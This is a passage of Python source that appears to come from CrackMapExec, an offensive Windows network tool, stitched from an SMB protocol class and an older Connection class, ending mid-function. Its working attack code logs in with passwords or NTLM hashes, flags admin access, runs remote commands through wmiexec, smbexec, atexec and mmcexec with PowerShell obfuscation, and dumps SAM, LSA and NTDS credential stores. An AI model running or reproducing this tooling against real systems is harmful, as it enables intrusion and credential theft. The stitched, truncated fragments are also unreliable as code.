\\\\Windows\\\\Temp\\\\whoami.txt') tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt') cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)") cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process') cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') psgroup = smb_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation") psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts') psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts') return parser def proto_logger(self): self.logger = CMEAdapter(extra={ 'protocol': 'SMB', 'host': self.host, 'port': self.args.port, 'hostname': self.hostname }) def get_os_arch(self): try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() if self.args.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except (DCERPCException, e): if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except Exception as e: logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e))) return 0 def enum_host_info(self): self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] try: self.conn.login('' , '') except: #if "STATUS_ACCESS_DENIED" in e: pass self.domain = self.conn.getServerDNSDomainName() self.hostname = self.conn.getServerName() self.server_os = self.conn.getServerOS() self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning'] self.os_arch = self.get_os_arch() self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) if not self.domain: self.domain = self.hostname self.db.add_computer(self.host, self.hostname, self.domain, self.server_os) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' self.conn.logoff() except: pass if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname #Re-connect since we logged off self.create_conn_obj() def print_host_info(self): self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os, ' x{}'.format(self.os_arch) if self.os_arch else '', self.hostname, self.domain, self.signing, self.smbv1)) def kerberos_login(self, aesKey, kdcHost): # dirty code to check if user is admin but pywerview does not support kerberos auth ... error = '' try: self.conn.kerberosLogin('', '', self.domain, self.lmhash, self.nthash, aesKey, kdcHost) # self.check_if_admin() # currently pywerview does not support kerberos auth except SessionError as e: error = e try: self.conn.connectTree("C$") self.admin_privs = True except SessionError as e: pass if not error: out = u'{}\\{} {}'.format(self.domain, self.conn.getCredentials()[0], highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) return True else: self.logger.error(u'{} {} {}'.format(self.domain, error, '({})'.format(desc) if self.args.verbose else '')) return False # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.signing: try: self.conn.logoff() except: pass self.create_conn_obj() def plaintext_login(self, domain, username, password): try: self.password = password self.username = username self.domain = domain self.conn.login(username, password, domain) self.check_if_admin() self.db.add_credential('plaintext', domain, username, password) if self.admin_privs: self.db.add_admin_user('plaintext', domain, username, password, self.host) out = u'{}\\{}:{} {}'.format(domain, username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 try: self.conn.logoff() except: pass self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain, username, password, error, '({})'.format(desc) if self.args.verbose else ''), color='magenta' if error in smb_error_status else 'red') if error not in smb_error_status: self.inc_failed_login(username) return False if not self.args.continue_on_success: return True def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash try: self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain self.conn.login(username, '', domain, lmhash, nthash) self.check_if_admin() self.db.add_credential('hash', domain, username, ntlm_hash) if self.admin_privs: self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host) out = u'{}\\{} {} {}'.format(domain, username, ntlm_hash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.signing: try: self.conn.logoff() except: pass self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain, username, ntlm_hash, error, '({})'.format(desc) if self.args.verbose else ''), color='magenta' if error in smb_error_status else 'red') if error not in smb_error_status: self.inc_failed_login(username) return False if not self.args.continue_on_success: return True def create_smbv1_conn(self): try: self.conn = SMBConnection(self.host, self.host, None, self.args.port, preferredDialect=SMB_DIALECT) self.smbv1 = True except socket.error as e: if str(e).find('Connection reset by peer') != -1: logging.debug('SMBv1 might be disabled on {}'.format(self.host)) return False except Exception as e: logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e)) return False return True def create_smbv3_conn(self): try: self.conn = SMBConnection(self.host, self.host, None, self.args.port) self.smbv1 = False except socket.error: return False except Exception as e: logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e)) return False return True def create_conn_obj(self): if self.create_smbv1_conn(): return True elif self.create_smbv3_conn(): return True return False def check_if_admin(self): lmhash = '' nthash = '' if self.hash: if self.hash.find(':') != -1: lmhash, nthash = self.hash.split(':') else: nthash = self.hash self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash) def gen_relay_list(self): if self.server_os.lower().find('windows') != -1 and self.signing is False: with sem: with open(self.args.gen_relay_list, 'a+') as relay_list: if self.host not in relay_list.read(): relay_list.write(self.host + '\n') @requires_admin @requires_smb_server def execute(self, payload=None, get_output=False, methods=None): if self.args.exec_method: methods = [self.args.exec_method] if not methods : methods = ['wmiexec', 'mmcexec', 'atexec', 'smbexec'] if not payload and self.args.execute: payload = self.args.execute if not self.args.no_output: get_output = True for method in methods: if method == 'wmiexec': try: exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share) logging.debug('Executed command via wmiexec') break except: logging.debug('Error executing command via wmiexec, traceback:') logging.debug(format_exc()) continue elif method == 'mmcexec': try: exec_method = MMCEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash) logging.debug('Executed command via mmcexec') break except: logging.debug('Error executing command via mmcexec, traceback:') logging.debug(format_exc()) continue elif method == 'atexec': try: exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash) #self.args.share) logging.debug('Executed command via atexec') break except: logging.debug('Error executing command via atexec, traceback:') logging.debug(format_exc()) continue elif method == 'smbexec': try: exec_method = SMBEXEC(self.host, self.smb_share_name, self.args.port, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share) logging.debug('Executed command via smbexec') break except: logging.debug('Error executing command via smbexec, traceback:') logging.debug(format_exc()) continue if hasattr(self, 'server'): self.server.track_host(self.host) output = u'{}'.format(exec_method.execute(payload, get_output).strip()) if self.args.execute or self.args.ps_execute: self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: self.logger.highlight(line.strip()) return output @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False): if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: get_output = True if os.path.isfile(payload): with open(payload) as commands: for c in commands: self.execute(create_ps_command(c, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods) else: self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods) return '' def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) #hostid,_,_,_,_,_,_ = self.db.get_hosts(filterTerm=self.host)[0] permissions = [] try: for share in self.conn.listShares(): share_name = share['shi1_netname'][:-1] share_remark = share['shi1_remark'][:-1] share_info = {'name': share_name, 'remark': share_remark, 'access': []} read = False write = False try: self.conn.listPath(share_name, '*') read = True share_info['access'].append('READ') except SessionError: pass try: self.conn.createDirectory(share_name, temp_dir) self.conn.deleteDirectory(share_name, temp_dir) write = True share_info['access'].append('WRITE') except SessionError: pass permissions.append(share_info) #self.db.add_share(hostid, share_name, share_remark, read, write) self.logger.success('Enumerated shares') self.logger.highlight('{:<15} {:<15} {}'.format('Share', 'Permissions', 'Remark')) self.logger.highlight('{:<15} {:<15} {}'.format('-----', '-----------', '------')) for share in permissions: name = share['name'] remark = share['remark'] perms = share['access'] self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark)) except Exception as e: error, desc = e.getErrorString() self.logger.error('Error enumerating shares: {}'.format(error), color='magenta' if error in smb_error_status else 'red') return permissions def get_dc_ips(self): dc_ips = [] for dc in self.db.get_domain_controllers(domain=self.domain): dc_ips.append(dc[1]) if not dc_ips: dc_ips.append(self.host) return dc_ips def sessions(self): sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) self.logger.success('Enumerated sessions') for session in sessions: if session.sesi10_cname.find(self.local_ip) == -1: self.logger.highlight('{:<25} User:{}'.format(session.sesi10_cname, session.sesi10_username)) return sessions def disks(self): disks = [] try: disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) self.logger.success('Enumerated disks') for disk in disks: self.logger.highlight(disk.disk) except Exception as e: error, desc = e.getErrorString() self.logger.error('Error enumerating disks: {}'.format(error), color='magenta' if error in smb_error_status else 'red') return disks def local_groups(self): groups = [] #To enumerate local groups the DC IP is optional, if specified it will resolve the SIDs and names of any domain accounts in the local group for dc_ip in self.get_dc_ips(): try: groups = get_netlocalgroup(self.host, dc_ip, '', self.username, self.password, self.lmhash, self.nthash, queried_groupname=self.args.local_groups, list_groups=True if not self.args.local_groups else False, recurse=False) if self.args.local_groups: self.logger.success('Enumerated members of local group') else: self.logger.success('Enumerated local groups') for group in groups: if group.name: if not self.args.local_groups: self.logger.highlight('{:<40} membercount: {}'.format(group.name, group.membercount)) self.db.add_group(self.hostname, group.name) else: domain, name = group.name.split('/') self.logger.highlight('{}\\{}'.format(domain.upper(), name)) try: group_id = self.db.get_groups(groupName=self.args.local_groups, groupDomain=domain)[0][0] except IndexError: group_id = self.db.add_group(domain, self.args.local_groups) # yo dawg, I hear you like groups. So I put a domain group as a member of a local group which is also a member of another local group. # (╯°□°)╯︵ ┻━┻ if not group.isgroup: self.db.add_user(domain, name, group_id) elif group.isgroup: self.db.add_group(domain, name) break except Exception as e: self.logger.error('Error enumerating local groups of {}: {}'.format(self.host, e)) return groups def domainfromdsn(self, dsn): dsnparts = dsn.split(',') domain = "" for part in dsnparts: k,v = part.split("=") if k == "DC": if domain=="": domain = v else: domain = domain+"."+v return domain def groups(self): groups = [] for dc_ip in self.get_dc_ips(): if self.args.groups: try: groups = get_netgroupmember(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_groupname=self.args.groups, queried_sid=str(), queried_domain=str(), ads_path=str(), recurse=False, use_matching_rule=False, full_data=False, custom_filter=str()) self.logger.success('Enumerated members of domain group') for group in groups: self.logger.highlight('{}\\{}'.format(group.memberdomain, group.membername)) try: group_id = self.db.get_groups(groupName=self.args.groups, groupDomain=group.groupdomain)[0][0] except IndexError: group_id = self.db.add_group(group.groupdomain, self.args.groups) if not group.isgroup: self.db.add_user(group.memberdomain, group.membername, group_id) elif group.isgroup: self.db.add_group(group.groupdomain, group.groupname) break except Exception as e: self.logger.error('Error enumerating domain group members using dc ip {}: {}'.format(dc_ip, e)) else: try: groups = get_netgroup(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_groupname=str(), queried_sid=str(), queried_username=str(), queried_domain=str(), ads_path=str(), admin_count=False, full_data=True, custom_filter=str()) self.logger.success('Enumerated domain group(s)') for group in groups: self.logger.highlight('{:<40} membercount: {}'.format(group.samaccountname, len(group.member) if hasattr(group, 'member') else 0)) if bool(group.isgroup) is True: # Since there isn't a groupmemeber attribute on the returned object from get_netgroup we grab it from the distinguished name domain = self.domainfromdsn(group.distinguishedname) self.db.add_group(domain, group.samaccountname) break except Exception as e: self.logger.error('Error enumerating domain group using dc ip {}: {}'.format(dc_ip, e)) return groups def users(self): users = [] for dc_ip in self.get_dc_ips(): try: users = get_netuser(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_username=self.args.users, queried_domain='', ads_path=str(), admin_count=False, spn=False, unconstrained=False, allow_delegation=False, custom_filter=str()) self.logger.success('Enumerated domain user(s)') for user in users: domain = self.domainfromdsn(user.distinguishedname) self.logger.highlight('{}\\{:<30} badpwdcount: {} baddpwdtime: {}'.format(domain,user.samaccountname,getattr(user,'badpwdcount',0),getattr(user, 'badpasswordtime',''))) self.db.add_user(domain, user.samaccountname) break except Exception as e: logging.debug('Error enumerating domain users using dc ip {}: {}'.format(dc_ip, e)) return users def loggedon_users(self): loggedon = [] try: loggedon = get_netloggedon(self.host, self.domain, self.username, self.password, lmhash=self.lmhash, nthash=self.nthash) self.logger.success('Enumerated loggedon users') for user in loggedon: self.logger.highlight('{}\\{:<25} {}'.format(user.wkui1_logon_domain, user.wkui1_username, 'logon_server: {}'.format(user.wkui1_logon_server) if user.wkui1_logon_server else '')) except Exception as e: self.logger.error('Error enumerating logged on users: {}'.format(e)) return loggedon def pass_pol(self): return PassPolDump(self).dump() @requires_admin def wmi(self, wmi_query=None, namespace=None): records = [] if not namespace: namespace = self.args.wmi_namespace try: rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) rpc._create_wmi_connection(namespace=namespace) if wmi_query: query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY) else: query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY) except Exception as e: self.logger.error('Error creating WMI connection: {}'.format(e)) return records while True: try: wmi_results = query.Next(0xffffffff, 1)[0] record = wmi_results.getProperties() records.append(record) for k,v in record.items(): self.logger.highlight('{} => {}'.format(k,v['value'])) self.logger.highlight('') except Exception as e: if str(e).find('S_FALSE') < 0: raise e else: break return records def spider(self, share=None, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True): spider = SMBSpider(self.conn, self.logger) self.logger.info('Started spidering') start_time = time() if not share: spider.spider(self.args.spider, self.args.spider_folder, self.args.pattern, self.args.regex, self.args.exclude_dirs, self.args.depth, self.args.content, self.args.only_files) else: spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, onlyfiles) self.logger.info("Done spidering (Completed in {})".format(time() - start_time)) return spider.results def rid_brute(self, maxRid=None): entries = [] if not maxRid: maxRid = int(self.args.rid_brute) KNOWN_PROTOCOLS = { 135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False}, 139: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True}, 445: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True}, } try: stringbinding = KNOWN_PROTOCOLS[self.args.port]['bindstr'].format(self.host) logging.debug('StringBinding {}'.format(stringbinding)) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.args.port) if KNOWN_PROTOCOLS[self.args.port]['set_host']: rpctransport.setRemoteHost(self.host) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) dce = rpctransport.get_dce_rpc() dce.connect() except Exception as e: self.logger.error('Error creating DCERPC connection: {}'.format(e)) return entries # Want encryption? Uncomment next line # But make SIMULTANEOUS variable <= 100 #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) # Want fragmentation? Uncomment next line #dce.set_max_fragment_size(32) self.logger.success('Brute forcing RIDs') dce.bind(lsat.MSRPC_UUID_LSAT) resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() soFar = 0 SIMULTANEOUS = 1000 for j in range(maxRid//SIMULTANEOUS+1): if (maxRid - soFar) // SIMULTANEOUS == 0: sidsToCheck = (maxRid - soFar) % SIMULTANEOUS else: sidsToCheck = SIMULTANEOUS if sidsToCheck == 0: break sids = list() for i in range(soFar, soFar+sidsToCheck): sids.append(domainSid + '-%d' % i) try: lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: if str(e).find('STATUS_NONE_MAPPED') >= 0: soFar += SIMULTANEOUS continue elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: resp = e.get_packet() else: raise for n, item in enumerate(resp['TranslatedNames']['Names']): if item['Use'] != SID_NAME_USE.SidTypeUnknown: rid = soFar + n domain = resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'] user = item['Name'] sid_type = SID_NAME_USE.enumItems(item['Use']).name self.logger.highlight("{}: {}\\{} ({})".format(rid, domain, user, sid_type)) entries.append({'rid': rid, 'domain': domain, 'username': user, 'sidtype': sid_type}) soFar += SIMULTANEOUS dce.disconnect() return entries @requires_admin def put_file(self): self.logger.info('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1])) with open(self.args.put_file[0], 'rb') as file: try: self.conn.putFile(self.args.share, self.args.put_file[1], file.read) self.logger.success('Created file {} on \\\\{}{}'.format(self.args.put_file[0], self.args.share, self.args.put_file[1])) except Exception as e: self.logger.error('Error writing file to share {}: {}'.format(self.args.share, e)) @requires_admin def get_file(self): self.logger.info('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1])) with open(self.args.get_file[1], 'wb+') as file: try: self.conn.getFile(self.args.share, self.args.get_file[0], file.write) self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], self.args.get_file[1])) except Exception as e: self.logger.error('Error reading file {}: {}'.format(self.args.share, e)) def enable_remoteops(self): if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.conn, False, None) #self.__doKerberos, self.__kdcHost self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.error('RemoteOperations failed: {}'.format(e)) @requires_admin def sam(self): self.enable_remoteops() host_id = self.db.get_computers(filterTerm=self.host)[0][0] def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes += 1 self.logger.highlight(sam_hash) username,_,lmhash,nthash,_,_,_ = sam_hash.split(':') self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id) add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: #try: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) self.logger.success('Dumping SAM hashes') SAM.dump() SAM.export(self.output_filename) self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes))) #except Exception as e: #self.logger.error('SAM hashes extraction failed: {}'.format(e)) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) SAM.finish() @requires_admin def lsa(self): self.enable_remoteops() def add_lsa_secret(secret): add_lsa_secret.secrets += 1 self.logger.highlight(secret) add_lsa_secret.secrets = 0 if self.remote_ops and self.bootkey: SECURITYFileName = self.remote_ops.saveSECURITY() LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True, perSecretCallback=lambda secretType, secret: add_lsa_secret(secret)) self.logger.success('Dumping LSA secrets') LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets), self.output_filename + '.secrets', self.output_filename + '.cached')) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) LSA.finish() @requires_admin def ntds(self): self.enable_remoteops() use_vss_method = False NTDSFileName = None host_id = self.db.get_computers(filterTerm=self.host)[0][0] def add_ntds_hash(ntds_hash, host_id): add_ntds_hash.ntds_hashes += 1 self.logger.highlight(ntds_hash) if ntds_hash.find('$') == -1: if ntds_hash.find('\\') != -1: domain, hash = ntds_hash.split('\\') else: domain = self.domain hash = ntds_hash try: username,_,lmhash,nthash,_,_,_ = hash.split(':') parsed_hash = ':'.join((lmhash, nthash)) if validate_ntlm(parsed_hash): self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id) add_ntds_hash.added_to_db += 1 return raise except: logging.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: logging.debug("Dumped hash is a computer account, not adding to db") add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 if self.remote_ops and self.bootkey: try: if self.args.ntds == 'vss': NTDSFileName = self.remote_ops.saveNTDS() use_vss_method = True NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True, remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename, justUser=None, printUserStatus=False, perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id)) self.logger.success('Dumping the NTDS, this could take a while so go grab a redbull...') NTDS.dump() self.logger.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), self.output_filename + '.ntds', highlight(add_ntds_hash.added_to_db))) except Exception as e: #if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. # resumeFile = NTDS.getResumeSessionFile() # if resumeFile is not None: # os.unlink(resumeFile) self.logger.error(e) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) NTDS.finish()
def proto_logger(self): self.logger = CMEAdapter(extra={'protocol': 'SSH', 'host': self.host, 'port': self.args.port, 'hostname': self.hostname})
class Connection: def __init__(self, args, db, host, module, cmeserver): self.args = args self.db = db self.host = host self.module = module self.cmeserver = cmeserver self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if ((self.password is not None or self.hash is not None) and self.username is not None): if self.module: module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, self) if hasattr(module, 'on_admin_login') and self.admin_privs: module.on_admin_login(context, self) elif self.module is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)() def over_fail_limit(self, username): global global_failed_logins global user_failed_logins if global_failed_logins == self.args.gfail_limit: return True if self.failed_logins == self.args.fail_limit: return True if username in user_failed_logins.keys(): if self.args.ufail_limit == user_failed_logins[username]: return True return False def check_if_admin(self): if self.args.mssql: try: #I'm pretty sure there has to be a better way of doing this. #Currently we are just searching for our user in the sysadmin group self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'") query_output = self.conn.printRows() if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1: self.admin_privs = True except: pass elif not self.args.mssql: ''' We use the OpenSCManagerW Win32API call to to establish a handle to the remote host. If this succeeds, the user context has administrator access to the target. Idea stolen from PowerView's Invoke-CheckLocalAdminAccess ''' stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host) rpctransport = transport.DCERPCTransportFactory(stringBinding) rpctransport.set_dport(self.args.smb_port) lmhash = '' nthash = '' if self.hash: if self.hash.find(':') != -1: lmhash, nthash = self.hash.split(':') else: nthash = self.hash if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(scmr.MSRPC_UUID_SCMR) lpMachineName = '{}\x00'.format(self.host) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F) self.admin_privs = True except DCERPCException: pass def plaintext_login(self, domain, username, password): try: if self.args.mssql: res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False) if res is not True: self.conn.printReplies() return False elif not self.args.mssql: self.conn.login(username, password, domain) self.password = password self.username = username self.domain = domain self.check_if_admin() self.db.add_credential('plaintext', domain, username, password) if self.admin_privs: self.db.link_cred_to_host('plaintext', domain, username, password, self.host) out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), highlight('(Pwn3d!)') if self.admin_privs else '') self.logger.success(out) return True except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': global global_failed_logins global user_failed_logins if username not in user_failed_logins.keys(): user_failed_logins[username] = 0 user_failed_logins[username] += 1 global_failed_logins += 1 self.failed_logins += 1 return False def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash try: if self.args.mssql: res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False) if res is not True: self.conn.printReplies() return False elif not self.args.mssql: self.conn.login(username, '', domain, lmhash, nthash) self.hash = ntlm_hash self.username = username self.domain = domain self.check_if_admin() self.db.add_credential('hash', domain, username, ntlm_hash) if self.admin_privs: self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host) out = u'{}\\{} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), ntlm_hash, highlight('(Pwn3d!)') if self.admin_privs else '') self.logger.success(out) return True except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), ntlm_hash, error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': global global_failed_logins global user_failed_logins if username not in user_failed_logins.keys(): user_failed_logins[username] = 0 user_failed_logins[username] += 1 global_failed_logins += 1 self.failed_logins += 1 return False def login(self): for cred_id in self.args.cred_id: with sem: 